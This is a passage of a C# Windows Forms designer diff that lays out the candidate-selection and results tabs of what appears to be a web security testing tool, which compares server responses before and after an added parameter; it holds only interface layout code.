"dataGridViewCheckBoxColumn1"; + this.dataGridViewCheckBoxColumn1.ReadOnly = true; + this.dataGridViewCheckBoxColumn1.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewCheckBoxColumn1.Width = 20; + // + // dataGridViewTextBoxColumn1 + // + this.dataGridViewTextBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn1.HeaderText = "SELECT FILE TYPES TO INCLUDE IN SCOPE"; + this.dataGridViewTextBoxColumn1.Name = "dataGridViewTextBoxColumn1"; + this.dataGridViewTextBoxColumn1.ReadOnly = true; + this.dataGridViewTextBoxColumn1.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // ConfigureProgressBar + // + this.ConfigureProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigureProgressBar.Location = new System.Drawing.Point(258, 8); + this.ConfigureProgressBar.Name = "ConfigureProgressBar"; + this.ConfigureProgressBar.Size = new System.Drawing.Size(297, 23); + this.ConfigureProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.ConfigureProgressBar.TabIndex = 0; + // + // tabPage2 + // + this.tabPage2.BackColor = System.Drawing.Color.White; + this.tabPage2.Controls.Add(this.CandidatesBaseSplit); + this.tabPage2.Location = new System.Drawing.Point(4, 25); + this.tabPage2.Name = "tabPage2"; + this.tabPage2.Padding = new System.Windows.Forms.Padding(3); + this.tabPage2.Size = new System.Drawing.Size(876, 532); + this.tabPage2.TabIndex = 1; + this.tabPage2.Text = " Select Candidates "; + // + // CandidatesBaseSplit + // + this.CandidatesBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.CandidatesBaseSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.CandidatesBaseSplit.Location = new System.Drawing.Point(3, 3); + this.CandidatesBaseSplit.Name = "CandidatesBaseSplit"; + this.CandidatesBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // CandidatesBaseSplit.Panel1 + // + this.CandidatesBaseSplit.Panel1.Controls.Add(this.label4); + this.CandidatesBaseSplit.Panel1.Controls.Add(this.TestCandidatesBtn); + this.CandidatesBaseSplit.Panel1.Controls.Add(this.CandidatesProgressBar); + // + // CandidatesBaseSplit.Panel2 + // + this.CandidatesBaseSplit.Panel2.Controls.Add(this.CandidatesBottomSplit); + this.CandidatesBaseSplit.Size = new System.Drawing.Size(870, 526); + this.CandidatesBaseSplit.SplitterDistance = 67; + this.CandidatesBaseSplit.TabIndex = 0; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(13, 44); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(512, 13); + this.label4.TabIndex = 37; + this.label4.Text = "Select requests that would return a dynamically generated page instead of static " + + "content like JPG, PDF etc."; + // + // TestCandidatesBtn + // + this.TestCandidatesBtn.Location = new System.Drawing.Point(16, 11); + this.TestCandidatesBtn.Name = "TestCandidatesBtn"; + this.TestCandidatesBtn.Size = new System.Drawing.Size(191, 23); + this.TestCandidatesBtn.TabIndex = 1; + this.TestCandidatesBtn.Text = "Test Selected Candidates"; + this.TestCandidatesBtn.UseVisualStyleBackColor = true; + this.TestCandidatesBtn.Visible = false; + this.TestCandidatesBtn.Click += new System.EventHandler(this.TestCandidatesBtn_Click); + // + // CandidatesProgressBar + // + this.CandidatesProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.CandidatesProgressBar.Location = new System.Drawing.Point(232, 11); + this.CandidatesProgressBar.Name = "CandidatesProgressBar"; + this.CandidatesProgressBar.Size = new System.Drawing.Size(684, 23); + this.CandidatesProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.CandidatesProgressBar.TabIndex = 0; + this.CandidatesProgressBar.Visible = false; + // + // CandidatesBottomSplit + // + this.CandidatesBottomSplit.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.CandidatesBottomSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.CandidatesBottomSplit.Location = new System.Drawing.Point(0, 0); + this.CandidatesBottomSplit.Name = "CandidatesBottomSplit"; + // + // CandidatesBottomSplit.Panel1 + // + this.CandidatesBottomSplit.Panel1.Controls.Add(this.FilterTree); + // + // CandidatesBottomSplit.Panel2 + // + this.CandidatesBottomSplit.Panel2.Controls.Add(this.CandidatesLogSplit); + this.CandidatesBottomSplit.Size = new System.Drawing.Size(870, 455); + this.CandidatesBottomSplit.SplitterDistance = 290; + this.CandidatesBottomSplit.TabIndex = 0; + // + // FilterTree + // + this.FilterTree.BackColor = System.Drawing.Color.White; + this.FilterTree.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.FilterTree.CheckBoxes = true; + this.FilterTree.Dock = System.Windows.Forms.DockStyle.Fill; + this.FilterTree.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.FilterTree.Location = new System.Drawing.Point(0, 0); + this.FilterTree.Margin = new System.Windows.Forms.Padding(0); + this.FilterTree.Name = "FilterTree"; + this.FilterTree.ShowRootLines = false; + this.FilterTree.Size = new System.Drawing.Size(288, 453); + this.FilterTree.TabIndex = 33; + this.FilterTree.BeforeCheck += new System.Windows.Forms.TreeViewCancelEventHandler(this.FilterTree_BeforeCheck); + this.FilterTree.AfterCheck += new System.Windows.Forms.TreeViewEventHandler(this.FilterTree_AfterCheck); + this.FilterTree.BeforeCollapse += new System.Windows.Forms.TreeViewCancelEventHandler(this.FilterTree_BeforeCollapse); + // + // CandidatesLogSplit + // + this.CandidatesLogSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.CandidatesLogSplit.Location = new System.Drawing.Point(0, 0); + this.CandidatesLogSplit.Name = "CandidatesLogSplit"; + this.CandidatesLogSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // CandidatesLogSplit.Panel1 + // + this.CandidatesLogSplit.Panel1.Controls.Add(this.CandidatesGrid); + // + // CandidatesLogSplit.Panel2 + // + this.CandidatesLogSplit.Panel2.Controls.Add(this.SessView); + this.CandidatesLogSplit.Size = new System.Drawing.Size(574, 453); + this.CandidatesLogSplit.SplitterDistance = 210; + this.CandidatesLogSplit.TabIndex = 0; + // + // CandidatesGrid + // + this.CandidatesGrid.AllowUserToAddRows = false; + this.CandidatesGrid.AllowUserToDeleteRows = false; + this.CandidatesGrid.AllowUserToOrderColumns = true; + this.CandidatesGrid.AllowUserToResizeRows = false; + this.CandidatesGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.CandidatesGrid.BackgroundColor = System.Drawing.Color.White; + this.CandidatesGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle7.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle7.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle7.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle7.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle7.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle7.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle7.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.CandidatesGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle7; + this.CandidatesGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.CandidatesGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.SelectClmn, + this.dataGridViewTextBoxColumn3, + this.HostNameSelectClmn, + this.MethodClmn, + this.URLClmn, + this.FileClmn, + this.SSLClmn, + this.ParametersClmn, + this.CodeClmn, + this.LengthClmn, + this.ClmnMIME, + this.SetCookieClmn, + this.NotesClmn}); + dataGridViewCellStyle8.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle8.BackColor = System.Drawing.SystemColors.Window; + dataGridViewCellStyle8.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle8.ForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle8.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle8.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle8.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.CandidatesGrid.DefaultCellStyle = dataGridViewCellStyle8; + this.CandidatesGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.CandidatesGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.CandidatesGrid.GridColor = System.Drawing.Color.White; + this.CandidatesGrid.Location = new System.Drawing.Point(0, 0); + this.CandidatesGrid.Margin = new System.Windows.Forms.Padding(0); + this.CandidatesGrid.MultiSelect = false; + this.CandidatesGrid.Name = "CandidatesGrid"; + this.CandidatesGrid.ReadOnly = true; + dataGridViewCellStyle9.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle9.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle9.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle9.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle9.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle9.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle9.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.CandidatesGrid.RowHeadersDefaultCellStyle = dataGridViewCellStyle9; + this.CandidatesGrid.RowHeadersVisible = false; + this.CandidatesGrid.RowHeadersWidth = 10; + this.CandidatesGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.CandidatesGrid.Size = new System.Drawing.Size(574, 210); + this.CandidatesGrid.TabIndex = 6; + this.CandidatesGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.CandidatesGrid_CellClick); + this.CandidatesGrid.SelectionChanged += new System.EventHandler(this.CandidatesGrid_SelectionChanged); + // + // SelectClmn + // + this.SelectClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.SelectClmn.HeaderText = "SELECT"; + this.SelectClmn.Name = "SelectClmn"; + this.SelectClmn.ReadOnly = true; + this.SelectClmn.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.SelectClmn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.SelectClmn.Width = 60; + // + // dataGridViewTextBoxColumn3 + // + this.dataGridViewTextBoxColumn3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewTextBoxColumn3.HeaderText = "ID"; + this.dataGridViewTextBoxColumn3.MinimumWidth = 50; + this.dataGridViewTextBoxColumn3.Name = "dataGridViewTextBoxColumn3"; + this.dataGridViewTextBoxColumn3.ReadOnly = true; + this.dataGridViewTextBoxColumn3.Width = 50; + // + // HostNameSelectClmn + // + this.HostNameSelectClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.HostNameSelectClmn.HeaderText = "HOSTNAME"; + this.HostNameSelectClmn.Name = "HostNameSelectClmn"; + this.HostNameSelectClmn.ReadOnly = true; + this.HostNameSelectClmn.Width = 120; + // + // MethodClmn + // + this.MethodClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.MethodClmn.HeaderText = "METHOD"; + this.MethodClmn.Name = "MethodClmn"; + this.MethodClmn.ReadOnly = true; + this.MethodClmn.Width = 60; + // + // URLClmn + // + this.URLClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.URLClmn.HeaderText = "URL"; + this.URLClmn.MinimumWidth = 150; + this.URLClmn.Name = "URLClmn"; + this.URLClmn.ReadOnly = true; + // + // FileClmn + // + this.FileClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.FileClmn.HeaderText = "FILE"; + this.FileClmn.Name = "FileClmn"; + this.FileClmn.ReadOnly = true; + this.FileClmn.Width = 40; + // + // SSLClmn + // + this.SSLClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.SSLClmn.HeaderText = "SSL"; + this.SSLClmn.Name = "SSLClmn"; + this.SSLClmn.ReadOnly = true; + this.SSLClmn.Width = 30; + // + // ParametersClmn + // + this.ParametersClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ParametersClmn.HeaderText = "PARAMETERS"; + this.ParametersClmn.Name = "ParametersClmn"; + this.ParametersClmn.ReadOnly = true; + this.ParametersClmn.Visible = false; + this.ParametersClmn.Width = 85; + // + // CodeClmn + // + this.CodeClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.CodeClmn.HeaderText = "CODE"; + this.CodeClmn.Name = "CodeClmn"; + this.CodeClmn.ReadOnly = true; + this.CodeClmn.Width = 45; + // + // LengthClmn + // + this.LengthClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.LengthClmn.HeaderText = "LENGTH"; + this.LengthClmn.Name = "LengthClmn"; + this.LengthClmn.ReadOnly = true; + this.LengthClmn.Visible = false; + this.LengthClmn.Width = 55; + // + // ClmnMIME + // + this.ClmnMIME.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ClmnMIME.HeaderText = "MIME"; + this.ClmnMIME.Name = "ClmnMIME"; + this.ClmnMIME.ReadOnly = true; + this.ClmnMIME.Visible = false; + this.ClmnMIME.Width = 60; + // + // SetCookieClmn + // + this.SetCookieClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.SetCookieClmn.HeaderText = "SET-COOKIE"; + this.SetCookieClmn.Name = "SetCookieClmn"; + this.SetCookieClmn.ReadOnly = true; + this.SetCookieClmn.Visible = false; + this.SetCookieClmn.Width = 80; + // + // NotesClmn + // + this.NotesClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.NotesClmn.HeaderText = "NOTES"; + this.NotesClmn.Name = "NotesClmn"; + this.NotesClmn.ReadOnly = true; + this.NotesClmn.Visible = false; + this.NotesClmn.Width = 80; + // + // tabPage3 + // + this.tabPage3.BackColor = System.Drawing.Color.White; + this.tabPage3.Controls.Add(this.ResultBaseSplit); + this.tabPage3.Location = new System.Drawing.Point(4, 25); + this.tabPage3.Name = "tabPage3"; + this.tabPage3.Size = new System.Drawing.Size(876, 532); + this.tabPage3.TabIndex = 2; + this.tabPage3.Text = " Results "; + // + // ResultBaseSplit + // + this.ResultBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResultBaseSplit.Location = new System.Drawing.Point(0, 0); + this.ResultBaseSplit.Name = "ResultBaseSplit"; + this.ResultBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // ResultBaseSplit.Panel1 + // + this.ResultBaseSplit.Panel1.Controls.Add(this.ResultsTopSplit); + // + // ResultBaseSplit.Panel2 + // + this.ResultBaseSplit.Panel2.Controls.Add(this.ResultsBottomTabs); + this.ResultBaseSplit.Size = new System.Drawing.Size(876, 532); + this.ResultBaseSplit.SplitterDistance = 294; + this.ResultBaseSplit.TabIndex = 0; + // + // ResultsTopSplit + // + this.ResultsTopSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResultsTopSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.ResultsTopSplit.Location = new System.Drawing.Point(0, 0); + this.ResultsTopSplit.Name = "ResultsTopSplit"; + this.ResultsTopSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // ResultsTopSplit.Panel1 + // + this.ResultsTopSplit.Panel1.Controls.Add(this.ResultsProgressBar); + this.ResultsTopSplit.Panel1.Controls.Add(this.label6); + // + // ResultsTopSplit.Panel2 + // + this.ResultsTopSplit.Panel2.Controls.Add(this.ResultsGrid); + this.ResultsTopSplit.Size = new System.Drawing.Size(876, 294); + this.ResultsTopSplit.SplitterDistance = 61; + this.ResultsTopSplit.TabIndex = 39; + // + // ResultsProgressBar + // + this.ResultsProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ResultsProgressBar.Location = new System.Drawing.Point(89, 7); + this.ResultsProgressBar.Name = "ResultsProgressBar"; + this.ResultsProgressBar.Size = new System.Drawing.Size(722, 23); + this.ResultsProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.ResultsProgressBar.TabIndex = 8; + this.ResultsProgressBar.Visible = false; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(32, 37); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(776, 13); + this.label6.TabIndex = 38; + this.label6.Text = "The entries that have any non-trivial percentage of difference indicate that the " + + "adding the special parameter caused the server to return a slightly different re" + + "sponse."; + // + // ResultsGrid + // + this.ResultsGrid.AllowUserToAddRows = false; + this.ResultsGrid.AllowUserToDeleteRows = false; + this.ResultsGrid.AllowUserToOrderColumns = true; + this.ResultsGrid.AllowUserToResizeRows = false; + this.ResultsGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.ResultsGrid.BackgroundColor = System.Drawing.Color.White; + this.ResultsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle10.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle10.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle10.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle10.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle10.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle10.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle10.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.ResultsGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle10; + this.ResultsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.ResultsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.IDClmn, + this.HostNameClmn, + this.TestedUrlClmn, + this.TestIdClmn, + this.OriginalVsTestClmn, + this.ParamNameClmn, + this.ParamSectionClmn, + this.ParamValueClmn, + this.OriginalRequestBinaryStringClmn, + this.OriginalResponseBinaryStringClmn, + this.TestRequestBinaryStringClmn, + this.TestResponseBinaryStringClmn}); + dataGridViewCellStyle11.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle11.BackColor = System.Drawing.SystemColors.Window; + dataGridViewCellStyle11.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle11.ForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle11.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle11.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle11.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.ResultsGrid.DefaultCellStyle = dataGridViewCellStyle11; + this.ResultsGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResultsGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.ResultsGrid.GridColor = System.Drawing.Color.White; + this.ResultsGrid.Location = new System.Drawing.Point(0, 0); + this.ResultsGrid.Margin = new System.Windows.Forms.Padding(0); + this.ResultsGrid.MultiSelect = false; + this.ResultsGrid.Name = "ResultsGrid"; + this.ResultsGrid.ReadOnly = true; + dataGridViewCellStyle12.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle12.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle12.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle12.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle12.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle12.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle12.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.ResultsGrid.RowHeadersDefaultCellStyle = dataGridViewCellStyle12; + this.ResultsGrid.RowHeadersVisible = false; + this.ResultsGrid.RowHeadersWidth = 10; + this.ResultsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ResultsGrid.Size = new System.Drawing.Size(876, 229); + this.ResultsGrid.TabIndex = 7; + this.ResultsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ResultsGrid_CellClick); + this.ResultsGrid.SelectionChanged += new System.EventHandler(this.ResultsGrid_SelectionChanged); + // + // IDClmn + // + this.IDClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.IDClmn.HeaderText = "ID"; + this.IDClmn.MinimumWidth = 50; + this.IDClmn.Name = "IDClmn"; + this.IDClmn.ReadOnly = true; + this.IDClmn.Width = 50; + // + // HostNameClmn + // + this.HostNameClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.HostNameClmn.FillWeight = 35.96939F; + this.HostNameClmn.HeaderText = "HostName"; + this.HostNameClmn.Name = "HostNameClmn"; + this.HostNameClmn.ReadOnly = true; + this.HostNameClmn.Width = 82; + // + // TestedUrlClmn + // + this.TestedUrlClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.TestedUrlClmn.FillWeight = 35.96939F; + this.TestedUrlClmn.HeaderText = "URL"; + this.TestedUrlClmn.Name = "TestedUrlClmn"; + this.TestedUrlClmn.ReadOnly = true; + // + // TestIdClmn + // + this.TestIdClmn.HeaderText = "Test ID"; + this.TestIdClmn.Name = "TestIdClmn"; + this.TestIdClmn.ReadOnly = true; + this.TestIdClmn.Visible = false; + // + // OriginalVsTestClmn + // + this.OriginalVsTestClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.OriginalVsTestClmn.FillWeight = 35.96939F; + this.OriginalVsTestClmn.HeaderText = "Percentage of Difference in Response due to Added Parameter"; + this.OriginalVsTestClmn.Name = "OriginalVsTestClmn"; + this.OriginalVsTestClmn.ReadOnly = true; + this.OriginalVsTestClmn.Width = 331; + // + // ParamNameClmn + // + this.ParamNameClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.ParamNameClmn.HeaderText = "Parameter Added"; + this.ParamNameClmn.Name = "ParamNameClmn"; + this.ParamNameClmn.ReadOnly = true; + this.ParamNameClmn.Width = 114; + // + // ParamSectionClmn + // + this.ParamSectionClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.ParamSectionClmn.HeaderText = "Section"; + this.ParamSectionClmn.Name = "ParamSectionClmn"; + this.ParamSectionClmn.ReadOnly = true; + this.ParamSectionClmn.Width = 68; + // + // ParamValueClmn + // + this.ParamValueClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.ParamValueClmn.HeaderText = "Parameter Value"; + this.ParamValueClmn.Name = "ParamValueClmn"; + this.ParamValueClmn.ReadOnly = true; + this.ParamValueClmn.Width = 110; + // + // OriginalRequestBinaryStringClmn + // + this.OriginalRequestBinaryStringClmn.HeaderText = "OriginalRequestBinaryString"; + this.OriginalRequestBinaryStringClmn.Name = "OriginalRequestBinaryStringClmn"; + this.OriginalRequestBinaryStringClmn.ReadOnly = true; + this.OriginalRequestBinaryStringClmn.Visible = false; + // + // OriginalResponseBinaryStringClmn + // + this.OriginalResponseBinaryStringClmn.HeaderText = "OriginalResponseBinaryString"; + this.OriginalResponseBinaryStringClmn.Name = "OriginalResponseBinaryStringClmn"; + this.OriginalResponseBinaryStringClmn.ReadOnly = true; + this.OriginalResponseBinaryStringClmn.Visible = false; + // + // TestRequestBinaryStringClmn + // + this.TestRequestBinaryStringClmn.HeaderText = "TestRequestBinaryString"; + this.TestRequestBinaryStringClmn.Name = "TestRequestBinaryStringClmn"; + this.TestRequestBinaryStringClmn.ReadOnly = true; + this.TestRequestBinaryStringClmn.Visible = false; + // + // TestResponseBinaryStringClmn + // + this.TestResponseBinaryStringClmn.HeaderText = "TestResponseBinaryString"; + this.TestResponseBinaryStringClmn.Name = "TestResponseBinaryStringClmn"; + this.TestResponseBinaryStringClmn.ReadOnly = true; + this.TestResponseBinaryStringClmn.Visible = false; + // + // ResultsBottomTabs + // + this.ResultsBottomTabs.Controls.Add(this.tabPage11); + this.ResultsBottomTabs.Controls.Add(this.tabPage4); + this.ResultsBottomTabs.Controls.Add(this.tabPage7); + this.ResultsBottomTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResultsBottomTabs.Location = new System.Drawing.Point(0, 0); + this.ResultsBottomTabs.Margin = new System.Windows.Forms.Padding(0); + this.ResultsBottomTabs.Multiline = true; + this.ResultsBottomTabs.Name = "ResultsBottomTabs"; + this.ResultsBottomTabs.Padding = new System.Drawing.Point(0, 0); + this.ResultsBottomTabs.SelectedIndex = 0; + this.ResultsBottomTabs.Size = new System.Drawing.Size(876, 234); + this.ResultsBottomTabs.TabIndex = 5; + // + // tabPage11 + // + this.tabPage11.Controls.Add(this.tabControl5); + this.tabPage11.Location = new System.Drawing.Point(4, 22); + this.tabPage11.Name = "tabPage11"; + this.tabPage11.Size = new System.Drawing.Size(868, 208); + this.tabPage11.TabIndex = 5; + this.tabPage11.Text = " Difference due to Parameter Addition"; + this.tabPage11.UseVisualStyleBackColor = true; + // + // tabControl5 + // + this.tabControl5.Controls.Add(this.tabPage22); + this.tabControl5.Controls.Add(this.tabPage19); + this.tabControl5.Dock = System.Windows.Forms.DockStyle.Fill; + this.tabControl5.Location = new System.Drawing.Point(0, 0); + this.tabControl5.Margin = new System.Windows.Forms.Padding(0); + this.tabControl5.Name = "tabControl5"; + this.tabControl5.Padding = new System.Drawing.Point(0, 0); + this.tabControl5.SelectedIndex = 0; + this.tabControl5.Size = new System.Drawing.Size(868, 208); + this.tabControl5.TabIndex = 5; + // + // tabPage22 + // + this.tabPage22.Controls.Add(this.OriginalVsTestResponseDRV); + this.tabPage22.Location = new System.Drawing.Point(4, 22); + this.tabPage22.Margin = new System.Windows.Forms.Padding(0); + this.tabPage22.Name = "tabPage22"; + this.tabPage22.Size = new System.Drawing.Size(860, 182); + this.tabPage22.TabIndex = 1; + this.tabPage22.Text = " Difference in Responses "; + this.tabPage22.UseVisualStyleBackColor = true; + // + // tabPage19 + // + this.tabPage19.Controls.Add(this.OriginalVsTestRequestDRV); + this.tabPage19.Location = new System.Drawing.Point(4, 22); + this.tabPage19.Margin = new System.Windows.Forms.Padding(0); + this.tabPage19.Name = "tabPage19"; + this.tabPage19.Size = new System.Drawing.Size(860, 182); + this.tabPage19.TabIndex = 0; + this.tabPage19.Text = " Difference in Request "; + this.tabPage19.UseVisualStyleBackColor = true; + // + // tabPage4 + // + this.tabPage4.Controls.Add(this.tabControl3); + this.tabPage4.Location = new System.Drawing.Point(4, 22); + this.tabPage4.Name = "tabPage4"; + this.tabPage4.Size = new System.Drawing.Size(868, 208); + this.tabPage4.TabIndex = 2; + this.tabPage4.Text = " Request/Response with Added Parameter "; + this.tabPage4.UseVisualStyleBackColor = true; + // + // tabControl3 + // + this.tabControl3.Controls.Add(this.tabPage16); + this.tabControl3.Controls.Add(this.tabPage15); + this.tabControl3.Dock = System.Windows.Forms.DockStyle.Fill; + this.tabControl3.Location = new System.Drawing.Point(0, 0); + this.tabControl3.Margin = new System.Windows.Forms.Padding(0); + this.tabControl3.Name = "tabControl3"; + this.tabControl3.Padding = new System.Drawing.Point(0, 0); + this.tabControl3.SelectedIndex = 0; + this.tabControl3.Size = new System.Drawing.Size(868, 208); + this.tabControl3.TabIndex = 3; + // + // tabPage16 + // + this.tabPage16.Controls.Add(this.TestResponseView); + this.tabPage16.Location = new System.Drawing.Point(4, 22); + this.tabPage16.Margin = new System.Windows.Forms.Padding(0); + this.tabPage16.Name = "tabPage16"; + this.tabPage16.Size = new System.Drawing.Size(860, 182); + this.tabPage16.TabIndex = 1; + this.tabPage16.Text = " Response "; + this.tabPage16.UseVisualStyleBackColor = true; + // + // tabPage15 + // + this.tabPage15.Controls.Add(this.TestRequestView); + 